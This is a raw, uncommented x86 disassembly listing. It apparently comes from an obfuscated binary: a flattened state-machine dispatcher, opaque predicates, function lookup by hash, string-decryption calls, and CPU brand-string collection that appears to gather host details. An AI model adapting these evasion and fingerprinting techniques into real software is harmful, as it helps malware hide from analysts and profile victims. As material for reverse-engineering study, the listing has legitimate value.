cmp eax, 0xe38d4443
jne 0x435dd3
mov eax, dword [esi + 8]
shr eax, 0xd
mov ecx, eax
shl ecx, 9
imul eax, eax
imul edx, eax, 0x7e73
dec edx
or ecx, 0x26
mov dword [esi + 8], ecx
mov ecx, 0xe663ea5a
cmp edx, eax
je 0x4374a5
mov ecx, 0x41e179c3
mov dword [esi], ecx
jmp 0x435dd3
cmp eax, 0x630b484a
jle 0x4386ab
cmp eax, 0x630b484b
je 0x439d01
cmp eax, 0x6481c9f3
je 0x439d1d
cmp eax, 0x64f6c2e5
jne 0x435dd3
mov eax, dword [esi + 0xa4]
mov cl, byte [0x4741c7]
mov byte [eax + 0xc], cl
mov ecx, dword [0x4741c3]
mov dword [eax + 8], ecx
mov ecx, dword [0x4741bf]
mov dword [eax + 4], ecx
mov ecx, dword [0x4741bb]
mov dword [eax], ecx
push 6
push 0x4741c8
push 0xd
push dword [esi + 0xa4]
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0x3354f554
jmp 0x435dd3
cmp eax, 0x8b26ba5f
jle 0x4386e4
cmp eax, 0x8b26ba60
je 0x439d62
cmp eax, 0x8bd3325c
je 0x439d6d
cmp eax, 0x8c9a7c36
jne 0x435dd3
push 4
push 0x468ba4
push 0xa
push dword [esi + 0x74]
call fcn.0043ab70
add esp, 0x10
push dword [esi + 0x74]
push 0x3d95e230
call fcn.0043ebdc
add esp, 8
push 1
call eax
mov dword [esi + 0x130], eax
mov dword [esi], 0xc02aa3de
jmp 0x435dd3
cmp eax, 0xf3a760b
jle 0x438711
cmp eax, 0xf3a760c
je 0x439db0
cmp eax, 0xfd4792a
je 0x439def
cmp eax, 0x1078dc1c
jne 0x435dd3
mov eax, dword [esi + 0xe8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov dword [esi + 0x1bc], eax
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe8]
mov dword [esi + 0x1c0], eax
mov dword [esi], 0x5d2b445
jmp 0x435dd3
cmp eax, 0xd426a01a
jle 0x43873e
cmp eax, 0xd426a01b
je 0x439e0c
cmp eax, 0xd562ff25
je 0x439e66
cmp eax, 0xd5c46b10
jne 0x435dd3
mov dword [esi], 0x154e76aa
jmp 0x435dd3
cmp eax, 0x4bc4c342
jle 0x438784
cmp eax, 0x4bc4c343
je 0x439ea1
cmp eax, 0x4d3b7e04
je 0x439eea
cmp eax, 0x4e4af96b
jne 0x435dd3
imul eax, dword [esi + 8], 0xa94c
add eax, 0x7c
mov dword [esi + 8], eax
mov dword [esi], 0xd73ceb27
jmp 0x435dd3
cmp eax, 0xb5399fba
je 0x439f1d
cmp eax, 0xb66cf8ed
je 0x439f43
cmp eax, 0xb6a34bc2
jne 0x435dd3
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x154]
mov dword [esi + 0x158], eax
mov dword [esi], 0x427e6b9c
jmp 0x435dd3
cmp eax, 0x2e3110c5
je 0x439f5a
cmp eax, 0x2e8e5f5e
je 0x439f8f
cmp eax, 0x2e8f3ae5
jne 0x435dd3
mov dword [esi], 0xb11ae242
jmp 0x435dd3
cmp eax, 0xf4663ab1
je 0x439f9d
cmp eax, 0xf4d683d7
je 0x439fda
cmp eax, 0xf562b189
jne 0x435dd3
mov eax, dword [esi + 0xb8]
mov byte [eax + 0xc], 0
mov eax, dword [esi + 0xb8]
mov ecx, dword [0x474213]
mov dword [eax + 8], ecx
mov ecx, dword [0x47420f]
mov dword [eax + 4], ecx
mov ecx, dword [0x47420b]
mov dword [eax], ecx
push 6
push 0x474217
push 0xc
push dword [esi + 0xb8]
call fcn.0043aca0
add esp, 0x10
mov eax, dword [esi + 0x5c]
mov ecx, dword [esi + 0xb8]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x5c]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0x110]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0x9c2fd435
jmp 0x435dd3
cmp eax, 0x7c4f8091
je 0x43a005
cmp eax, 0x7e22b5d6
je 0x43a022
cmp eax, 0x7f31619f
jne 0x435dd3
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x80], eax
mov dword [esi], 0x79322a22
jmp 0x435dd3
cmp eax, 0x959ee4ba
je 0x43a060
cmp eax, 0x9659fc8b
jne 0x43ab0b
imul edi, dword [esi + 4], 0x23
shr edi, 5
add edi, 0xffffff53
mov dword [esi + 4], edi
call fcn.00407e02
push edi
call fcn.00435dbc
add esp, 4
mov eax, 0xe2e8a630
cmp edi, 0x62
je 0x437817
mov eax, 0xd1dcb68d
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xf59aa411
je 0x43a091
cmp eax, 0xf7292251
jne 0x435dd3
mov ecx, dword [esi + 4]
shr ecx, 8
and ecx, 0x7ffff
mov eax, ecx
shl eax, 7
sub eax, ecx
sub eax, ecx
add eax, 0x7430
mov dword [esi + 4], eax
push 0x690
push eax
push 0x31f0
push 0x1007
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0x3d690808
jmp 0x435dd3
cmp eax, 0xb749251a
je 0x43a0e4
cmp eax, 0xb8fc25e5
jne 0x435dd3
imul eax, dword [esi + 4], 0xb3b800
mov dword [esi + 4], eax
push 0x3327
push 0x43ec
push eax
push 0x4199
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0xc506f8ea
jmp 0x435dd3
cmp eax, 0x2eac4378
je 0x43a127
cmp eax, 0x2f07c3be
jne 0x435dd3
push 7
push 0x474204
push 0x14
push dword [esi + 0xb0]
call fcn.0043aca0
add esp, 0x10
push 0x15
push dword [esi + 0xb0]
push dword [esi + 0x58]
call fcn.00443560
add esp, 0xc
push dword [esi + 0x58]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xf8]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], pe_nt_image_headers32
mov dword [esi], 0xd7b4c8d6
jmp 0x435dd3
cmp eax, 0x9cc835ea
je 0x43a150
cmp eax, 0x9d4ee772
jne 0x435dd3
mov eax, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x14]
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
mov eax, dword [esi + 0x24]
mov dword [esi], 0x9858f92c
jmp 0x435dd3
cmp eax, 0x10f35983
je 0x43a179
cmp eax, 0x114320ae
jne 0x435dd3
imul eax, dword [esi + 8], 0xfa
add eax, 0xffff42d6
shr eax, 7
mov dword [esi + 8], eax
mov dword [esi], 0x301d9481
jmp 0x435dd3
cmp eax, 0xd5e027db
je 0x43a1aa
cmp eax, 0xd5e1a957
jne 0x435dd3
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xac], eax
mov eax, dword [esi + 0xac]
mov byte [eax + 8], 0
mov eax, dword [esi + 0xac]
mov ecx, dword [0x4741e6]
mov dword [eax + 4], ecx
mov ecx, dword [0x4741e2]
mov dword [eax], ecx
push 6
push 0x4741ea
push 8
push dword [esi + 0xac]
call fcn.0043aca0
add esp, 0x10
mov dword [esi], 0xa8ac93ea
jmp 0x435dd3
cmp eax, 0x4f3bd559
je 0x43a1db
cmp eax, 0x4fabe3a2
jne 0x435dd3
mov eax, dword [esi + 4]
shr eax, 0xd
lea ecx, [eax*4 + 0x27]
shr ecx, 5
add ecx, 0xffffff42
mov dword [esi + 4], ecx
mov eax, 0xb5399fba
cmp ecx, 0x55
je 0x437a4a
mov eax, 0x9487decb
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x80002f72
je 0x43a20b
cmp eax, 0x81e12f62
jne 0x435dd3
imul eax, dword [esi + 8], 0xac0
add eax, 0xfffffaf6
shr eax, 0x10
mov dword [esi + 8], eax
mov dword [esi], 0xa7949b7e
jmp 0x435dd3
cmp eax, 0x455283a
je 0x43a23c
cmp eax, 0x4a38f21
jne 0x435dd3
imul eax, dword [esi + 4], 0xbe
shr eax, 7
imul edi, eax, 0x6d80
mov dword [esi + 4], edi
push edi
push 0x2870
push 0xb80
push 0x509d
call fcn.0043aca0
add esp, 0x10
mov eax, 0x7b829d7e
cmp edi, 0xf3
jb 0x437ad7
mov eax, 0xe5545476
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xc5e14dae
je 0x43a247
cmp eax, 0xc612c5ad
jne 0x435dd3
mov eax, dword [esi + 8]
shr eax, 3
imul ecx, eax, 0x52
imul eax, eax
imul edx, eax, 0x5963
add ecx, 0x2c34
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xe2af09d8
cmp edx, eax
je 0x437b1e
mov ecx, 0xbd121001
mov dword [esi], ecx
jmp 0x435dd3
cmp eax, 0x3df9b996
je 0x43a27c
cmp eax, 0x3e76fd7f
jne 0x435dd3
mov eax, dword [esi + 4]
shr eax, 3
imul edi, eax, 0x7c
add edi, 0xffffa7d8
mov ebx, edi
shr ebx, 5
mov dword [esi + 4], ebx
call fcn.00407e02
push ebx
push 0x1eb6
push 0x2c40
call fcn.00425eef
add esp, 0xc
mov eax, 0x83fc6d78
cmp edi, 0x1ee0
jb 0x437b7c
mov eax, 0x3597512b
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xa8be00b9
je 0x43a2b0
cmp eax, 0xa934331e
jne 0x435dd3
push dword [esi + 0x54]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
call fcn.00425569
push eax
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
add eax, dword [esi + 0xc]
mov dword [esi + 0x18c], eax
mov dword [esi], 0x55e9cc84
jmp 0x435dd3
cmp eax, 0x1b9c2852
je 0x43a2c2
cmp eax, 0x1cdc5410
jne 0x435dd3
mov edi, dword [esi + 4]
shl edi, 0xc
add edi, 0xffffffbe
mov dword [esi + 4], edi
push 0x4f35
push 0x4eba
push 0x5c37
push edi
call fcn.0043aca0
add esp, 0x10
mov eax, 0x2cecd9f4
cmp edi, 0x97
jl 0x437c23
mov eax, 0x3361bb01
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xe5444044
je 0x43a2cd
cmp eax, 0xe5545476
jne 0x435dd3
mov eax, dword [esi + 0xa0]
add eax, 0x17
mov dword [esi + 0x16c], eax
mov dword [esi], 0xacd3253b
jmp 0x435dd3
cmp eax, 0x65cb1f62
je 0x43a381
cmp eax, 0x673f437d
jne 0x435dd3
mov eax, dword [esi + 0xc]
mov ecx, dword [esi + 0x170]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x18]
mov dword [esi], 0xa645f8e4
jmp 0x435dd3
cmp eax, 0x8da7a2e7
je 0x43a3bd
cmp eax, 0x8e6e61a8
jne 0x435dd3
mov eax, dword [esi + 8]
lea eax, [eax + eax*4]
shl eax, 0xe
add eax, 0xff0de046
mov dword [esi + 8], eax
mov dword [esi], 0xd02223be
jmp 0x435dd3
cmp eax, 0xfee0ed44
je 0x43a3d4
cmp eax, 0xff0f7585
jne 0x435dd3
mov edi, dword [esi + 4]
add edi, 0xe
shr edi, 0x1e
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
push edi
push 0x5b3e
push 0x46ea
call fcn.00425eef
add esp, 0xc
mov dword [esi], 0xf4663ab1
jmp 0x435dd3
cmp eax, 0xbeafbe88
je 0x43a3f9
cmp eax, 0xbf762f50
jne 0x435dd3
push 1
push 0x800
call fcn.0044e903
add esp, 8
mov dword [esi + 0x108], eax
mov dword [esi], 0x3df9b996
jmp 0x435dd3
cmp eax, 0x35ce95f3
je 0x43a42b
cmp eax, 0x366a8f86
jne 0x435dd3
push 1
push 0x41
call fcn.0044e903
add esp, 8
mov dword [esi + 0x10], eax
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0xbc], eax
mov dword [esi + 0xc0], ebx
mov dword [esi + 0xc4], ecx
mov dword [esi + 0xc8], edx
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xbc]
mov dword [esi + 0x194], eax
mov dword [esi], 0xe2fec062
jmp 0x435dd3
cmp eax, 0xa16d3975
je 0x43a450
cmp eax, 0xa1a452a5
jne 0x435dd3
mov eax, dword [esi + 8]
shr eax, 0x13
and eax, 3
imul eax, eax, 0xbe
mov dword [esi + 8], eax
mov dword [esi], 0x1896314a
jmp 0x435dd3
cmp eax, 0x15a09b8c
je 0x43a479
cmp eax, 0x15d2c650
jne 0x435dd3
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xec], eax
mov eax, dword [esi + 0xec]
mov byte [eax + 0xc], 0
mov dword [esi], 0xc612c5ad
jmp 0x435dd3
cmp eax, 0xddae6694
je 0x43a4a2
cmp eax, 0xdea971bc
jne 0x435dd3
mov eax, dword [esi + 8]
lea ecx, [eax - 0x28]
imul ecx, ecx
imul edx, ecx, 0x80d1
dec edx
add eax, 0x90
mov dword [esi + 8], eax
mov eax, 0xb8fc25e5
cmp ecx, edx
je 0x437e53
mov eax, 0x6c7ffcc
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x58d7c070
je 0x43a4cf
cmp eax, 0x5966d6ac
jne 0x435dd3
imul ecx, dword [esi + 4], 0x182a6
mov dword [esi + 4], ecx
mov eax, 0xd7d12a07
cmp ecx, 0x23
jl 0x437e89
mov eax, 0x59e1d201
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x86c08b96
je 0x43a4e9
cmp eax, 0x86f9a22e
jne 0x435dd3
mov eax, dword [esi + 0x2c]
mov ecx, dword [esi + 0x90]
mov dl, byte [ecx + 8]
mov byte [eax + 8], dl
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x2c]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0x104]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
mov dword [esi], 0x58d7c070
jmp 0x435dd3
cmp eax, 0xb7f4f9c
je 0x43a50f
cmp eax, 0xb92cdf6
jne 0x435dd3
mov eax, dword [esi + 8]
shr eax, 2
lea ecx, [eax + 0x5c]
imul ecx, ecx
imul edx, ecx, 0x7751
dec edx
add eax, 0x122
shr eax, 3
mov dword [esi + 8], eax
mov eax, 0x26f04997
cmp edx, ecx
je 0x437f2b
mov eax, 0xfbe92400
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xd00f3da3
je 0x43a528
cmp eax, 0xd02223be
jne 0x435dd3
mov eax, dword [esi + 0xb0]
mov byte [eax + 0x14], 0
push 0x14
push 0x4741f0
push dword [esi + 0xb0]
call fcn.00443560
add esp, 0xc
mov dword [esi], 0xc2428242
jmp 0x435dd3
cmp eax, 0x444b1400
je 0x43a568
cmp eax, 0x44c10536
jne 0x435dd3
mov eax, dword [esi + 0x90]
mov byte [eax + 8], 0
mov eax, dword [esi + 0x90]
mov ecx, dword [0x47413c]
mov dword [eax + 4], ecx
mov ecx, dword [0x474138]
mov dword [eax], ecx
mov dword [esi], 0x5616715c
jmp 0x435dd3
cmp eax, 0xb0fa851f
je 0x43a581
cmp eax, 0xb11ae242
jne 0x435dd3
mov eax, dword [esi + 0x118]
mov ecx, dword [esi + 0x11c]
shld ecx, eax, 0x16
mov dword [esi + 0x1cc], ecx
push 1
push 0xa
call fcn.0044e903
add esp, 8
mov dword [esi + 0x114], eax
mov dword [esi], 0xa63b2d64
jmp 0x435dd3
cmp eax, 0x2a06db1b
je 0x43a59c
cmp eax, 0x2b60bfed
jne 0x435dd3
mov eax, dword [esi + 0x64]
mov dword [esi], 0x12952900
jmp 0x435dd3
cmp eax, 0xec44c6ee
je 0x43a5aa
cmp eax, 0xed1b63f6
jne 0x435dd3
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x194]
mov dword [eax], ecx
mov dword [esi], 0x4f3bd559
jmp 0x435dd3
cmp eax, 0x719fe0ff
je 0x43a5b5
cmp eax, 0x73087033
jne 0x435dd3
mov eax, dword [esi + 4]
add eax, 0x75
shr eax, 3
imul ecx, eax, 0xe3
mov dword [esi + 4], ecx
mov eax, 0x6a428a4e
cmp ecx, 0x3f
jge 0x438084
mov eax, 0x4bc4c343
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x9a40de10
je 0x43a63e
cmp eax, 0x9c15aef3
jne 0x435dd3
mov edi, dword [esi + 4]
shl edi, 6
add edi, 0xffffff57
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
push edi
push 0x4ffa
push 0x414e
call fcn.00425eef
add esp, 0xc
mov dword [esi], 0x7b829d7e
jmp 0x435dd3
cmp eax, 0xf884d28d
je 0x43a66a
cmp eax, 0xfbe92400
jne 0x435dd3
mov eax, dword [esi + 0xa8]
mov byte [eax + 0xe], 0
mov dword [esi], 0x188fec6
jmp 0x435dd3
cmp eax, 0xbae1f94a
je 0x43a698
cmp eax, 0xbb71be43
jne 0x435dd3
mov ebx, dword [esi + 4]
mov eax, 0xa7
add ebx, eax
shr ebx, 1
mov edi, 0x2eac4378
and ebx, 0x7fffc000
mov dword [esi + 4], ebx
je 0x438139
mov edi, 0x5eb38df1
push 0x2d82
push 0x41f5
push ebx
call fcn.00425eef
add esp, 0xc
push ebx
push 0x32
push 0x48fd
call fcn.00425eef
add esp, 0xc
mov dword [esi], edi
jmp 0x435dd3
cmp eax, 0x3325a9b7
je 0x43a6e4
cmp eax, 0x3354f554
jne 0x435dd3
push dword [esi + 0x178]
push dword [esi + 0x17c]
push dword [esi + 0x180]
push dword [esi + 0x188]
push dword [esi + 0xa4]
push 0x7ff
push dword [esi + 0x108]
call fcn.00425eef
add esp, 0x1c
mov dword [esi], 0x47ca0205
jmp 0x435dd3
cmp eax, 0xa0154fbc
je 0x43a70a
cmp eax, 0xa01a6a88
jne 0x435dd3
imul eax, dword [esi + 8], 0x2f10
add eax, 0x11c2
mov dword [esi + 8], eax
mov dword [esi], 0x8b26ba60
jmp 0x435dd3
cmp eax, 0x1314e9f5
je 0x43a715
cmp eax, 0x1401a1cc
jne 0x435dd3
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 9
lea edi, [ecx + eax*8]
add edi, 0xfffe82ac
mov dword [esi + 4], edi
call fcn.00407e02
push edi
push 0x334d
push 0x3300
call fcn.00425eef
add esp, 0xc
mov eax, 0x7b829d7e
cmp edi, 0xc8
jae 0x438239
mov eax, 0xb3ca34d2
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xd7d12a07
je 0x43a741
cmp eax, 0xd88ce2bb
jne 0x435dd3
mov eax, dword [esi + 0xa8]
movzx ecx, word [0x4741da]
mov word [eax + 0xc], cx
mov ecx, dword [0x4741d6]
mov dword [eax + 8], ecx
mov ecx, dword [0x4741d2]
mov dword [eax + 4], ecx
mov ecx, dword [0x4741ce]
mov dword [eax], ecx
mov dword [esi], 0x114320ae
jmp 0x435dd3
cmp eax, 0x54c5384c
je 0x43a780
cmp eax, 0x55e9cc84
jne 0x435dd3
mov eax, dword [esi + 0x18c]
mov word [eax], 0xa
mov dword [esi], 0x8792d193
jmp 0x435dd3
cmp eax, 0x83fc6d78
je 0x43a795
cmp eax, 0x8410c221
jne 0x435dd3
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x18], eax
mov dword [esi], 0x444b1400
jmp 0x435dd3
cmp eax, 0x7d607d0
je 0x43a7a7
cmp eax, 0x7fe3d7a
jne 0x435dd3
imul eax, dword [esi + 4], 0x4c00
add eax, 0xffffff8f
mov dword [esi + 4], eax
mov dword [esi], 0x8390bd74
jmp 0x435dd3
cmp eax, 0xc7f149d1
je 0x43a7e5
cmp eax, 0xcaa99b05
jne 0x435dd3
push 0x1b
push 0x474170
push dword [esi + 0x9c]
call fcn.00443560
add esp, 0xc
mov dword [esi], 0x475d0cae
jmp 0x435dd3
cmp eax, 0x4160e19b
je 0x43a810
cmp eax, 0x41e179c3
jne 0x435dd3
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x38], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x40], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x44], eax
mov dword [esi], 0x8410c221
jmp 0x435dd3
cmp eax, 0xab8a5b55
je 0x43a825
cmp eax, 0xac4128e7
jne 0x435dd3
imul eax, dword [esi + 4], 0x2a000
shr eax, 0xe
imul edi, eax, 0xa5
add edi, 0xffffffe5
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
mov eax, 0x789b2fa9
cmp edi, 0x71
je 0x4383e5
mov eax, 0xf33e381b
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x1fcf7e4a
je 0x43a869
cmp eax, 0x222ed80b
jne 0x435dd3
mov ebx, dword [esi + 4]
shl ebx, 0xc
mov edi, 0xa953ddc3
add ebx, 0xdc000
mov dword [esi + 4], ebx
je 0x43841d
mov edi, 0xaff9186a
push ebx
push 0x53d9
push 0x122e
push 0x222
call fcn.0043ab70
add esp, 0x10
push 0xde
push 0x4a77
push ebx
push 0x60aa
call fcn.0043aca0
add esp, 0x10
mov dword [esi], edi
jmp 0x435dd3
cmp eax, 0xe6fb631d
je 0x43a8ad
cmp eax, 0xe910e548
jne 0x435dd3
mov eax, dword [esi + 8]
shl eax, 6
or eax, 0x18
mov dword [esi + 8], eax
mov dword [esi], 0xad5b1702
jmp 0x435dd3
cmp eax, 0x6b38afcd
je 0x43a8f7
cmp eax, 0x6d1dd2ca
jne 0x435dd3
mov eax, dword [esi + 0x12c]
mov word [eax], 0
push 0x14
push 0x468b90
push dword [esi + 0x74]
call fcn.00443560
add esp, 0xc
mov dword [esi], 0x8c9a7c36
jmp 0x435dd3
cmp eax, 0x90a7d722
je 0x43a90e
cmp eax, 0x92472d11
jne 0x435dd3
mov ecx, dword [esi + 4]
shl ecx, 0xd
add ecx, 0xffeb6780
mov dword [esi + 4], ecx
mov eax, 0x896a37df
cmp ecx, 0x9e
jl 0x4384f6
mov eax, 0x87c33b4e
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x173755c
je 0x43a94d
cmp eax, 0x188fec6
jne 0x435dd3
imul eax, dword [esi + 8], 0x64
add eax, 0xffffff3a
shr eax, 3
imul ecx, eax, 0x4c41
imul eax, eax
imul edx, eax, 0x3bb
dec edx
mov dword [esi + 8], ecx
mov ecx, 0xf7f4c541
cmp edx, eax
je 0x438540
mov ecx, 0xd88ce2bb
mov dword [esi], ecx
jmp 0x435dd3
cmp eax, 0xc3c216ce
je 0x43a96e
cmp eax, 0xc3ec41d0
jne 0x435dd3
mov edi, dword [esi + 4]
shl edi, 8
add edi, 0x9900
mov dword [esi + 4], edi
call fcn.00407e02
push 0x2e0f
push edi
push 0x5f6c
call fcn.00425eef
add esp, 0xc
mov eax, 0x579704
cmp edi, 0x48
jl 0x438593
mov eax, 0x375c1a1a
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0x3825f49b
je 0x43a9a4
cmp eax, 0x39083938
jne 0x435dd3
push dword [esi + 0x50]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0x108]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
push dword [esi + 0xc]
call fcn.0044fd60
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x54]
mov dword [esi], 0xedd65c39
jmp 0x435dd3
cmp eax, 0xa520232e
je 0x43a9c0
cmp eax, 0xa63b2d64
jne 0x435dd3
mov dword [esi], 0x9c9ae2ee
jmp 0x435dd3
cmp eax, 0x18d9f315
je 0x43a9ce
cmp eax, 0x19710da0
jne 0x435dd3
imul edi, dword [esi + 4], 0x1935
mov dword [esi + 4], edi
push 0x2b9c
push 0x4d74
push 0x3e49
push edi
call fcn.0043aca0
add esp, 0x10
call fcn.00407e02
mov eax, 0x9c2167db
cmp edi, 0xab
jl 0x438661
mov eax, 0xc3ec41d0
mov dword [esi], eax
jmp 0x435dd3
cmp eax, 0xe2af09d8
je 0x43a9f9
cmp eax, 0xe2e8a630
jne 0x435dd3
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x30], eax
push eax
mov eax, esp
mov dword [esi + 0x14], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x34], eax
mov dword [esi], 0xe38d4443
jmp 0x435dd3
cmp eax, 0x5e631d97
je 0x43aa33
cmp eax, 0x5eb38df1
jne 0x435dd3
mov eax, dword [esi + 4]
shl eax, 0xe
add eax, 0xffffff37
shr eax, 1
add eax, 0xffffff6b
shr eax, 4
mov dword [esi + 4], eax
mov dword [esi], 0xe57461c3
jmp 0x435dd3
cmp eax, 0x896a37df
je 0x43aa4c
cmp eax, 0x8a93974e
jne 0x435dd3
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xa0], eax
mov dword [esi], 0xe5545476
jmp 0x435dd3
cmp eax, 0xe67f83a
je 0x43aaa9
cmp eax, 0xe99d364
jne 0x435dd3
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xb0], eax
mov dword [esi], 0x8e6e61a8
jmp 0x435dd3
cmp eax, 0xd35847e5
je 0x43aac3
cmp eax, 0xd40c2a9b
jne 0x435dd3
mov eax, dword [esi + 4]
mov ecx, 0x184
add eax, ecx
shr eax, 9
add eax, 0xffffffe6
mov ecx, eax
shr ecx, 3
mov dword [esi + 4], ecx
mov ecx, 0x127c5d7
cmp eax, 0x258
jae 0x43877d
mov ecx, 0x1314e9f5
mov dword [esi], ecx
jmp 0x435dd3
cmp eax, 0x47ca0205
je 0x43aad7
cmp eax, 0x486cf2cd
jne 0x435dd3
mov eax, dword [esi + 0x1c]
mov dword [eax], 0x1a8
mov dword [esi], 0xa01a6a88
jmp 0x435dd3
mov eax, dword [esi + 0x158]
mov word [eax], 0xa
push 1
push 0x8000
call fcn.0044e903
add esp, 8
mov dword [esi + 0x104], eax
mov dword [esi], 0xd05b7f21
jmp 0x435dd3
push dword [esi + 0x34]
push dword [esi + 0xc]
call fcn.0044fb80
add esp, 8
mov dword [esi], 0x425df280
jmp 0x435dd3
imul eax, dword [esi + 4], 0x1680
shr eax, 0xa
imul edi, eax, 0xca
lea eax, [edi + 0x7c]
mov dword [esi + 4], eax
push 0x1a78
push eax
push 0x5c87
push 0x350c
call fcn.0043aca0
add esp, 0x10
mov eax, 0x83fc6d78
cmp edi, 0x24
jae 0x43882f
mov eax, 0x4160e19b
mov dword [esi], eax
jmp 0x435dd3
mov edi, dword [esi + 4]
shr edi, 5
add edi, 0x30
shr edi, 7
add edi, 0xffffff82
mov dword [esi + 4], edi
push edi
push 0x8c5
push 0xb1c
push 0x1998
call fcn.0043ab70
add esp, 0x10
mov eax, 0x673f437d
cmp edi, 0x8b
je 0x438872
mov eax, 0x229630c
mov dword [esi], eax
jmp 0x435dd3
mov edi, dword [esi + 4]
add edi, 0xffffff99
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
mov eax, 0xa0519cc0
cmp edi, 0x8a
jl 0x43889d
mov eax, 0xd9df720d
mov dword [esi], eax
jmp 0x435dd3
imul edi, dword [esi + 4], 0xa6
add edi, 0xffffffc9
mov dword [esi + 4], edi
push edi
call fcn.00435dbc
add esp, 4
push 0x4bb3
push 0x525d
push edi
push 0x5029
call fcn.0043ab70
add esp, 0x10
mov eax, 0x6d1dd2ca
cmp edi, 0x46
jb 0x4388e1
mov eax, 0xa0519cc0
mov dword [esi], eax
jmp 0x435dd3
mov eax, dword [esi + 0x80]
add eax, 0xf
mov dword [esi + 0x144], eax
mov dword [esi], 0x826ee42d
jmp 0x435dd3
mov eax, dword [esi + 8]
lea ecx, [eax + 0x126]
imul ecx, ecx
imul edx, ecx, 0x45e7
dec edx
add eax, 0x187
mov dword [esi + 8], eax
mov eax, 0x1f54ac28
cmp edx, ecx
je 0x43892b
mov eax, 0xe2e8a630
mov dword [esi], eax
jmp 0x435dd3
push 6
push 0x468c48
push 0xc
push dword [esi + 0xf0]
call fcn.0043ab70
add esp, 0x10
push dword [esi + 0xf0]
push 0x5f086d32
call fcn.0043ebdc
add esp, 8
push dword [esi + 0x20]
call eax
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0x118], ecx
mov dword [esi + 0x11c], eax
mov dword [esi], 0x2e8f3ae5
jmp 0x435dd3
imul edi, dword [esi + 4], 0x17a0000
shr edi, 9
or edi, 0x38
mov dword [esi + 4], edi
push 0x4a51
push edi
push 0x6237
call fcn.00425eef
add esp, 0xc
push edi
push 0x1715
push 0x5a97
push 0x400b
call fcn.0043ab70
add esp, 0x10
mov eax, 0xcaa99b05
cmp edi, 0x61
jb 0x4389ca
mov eax, 0x83fc6d78
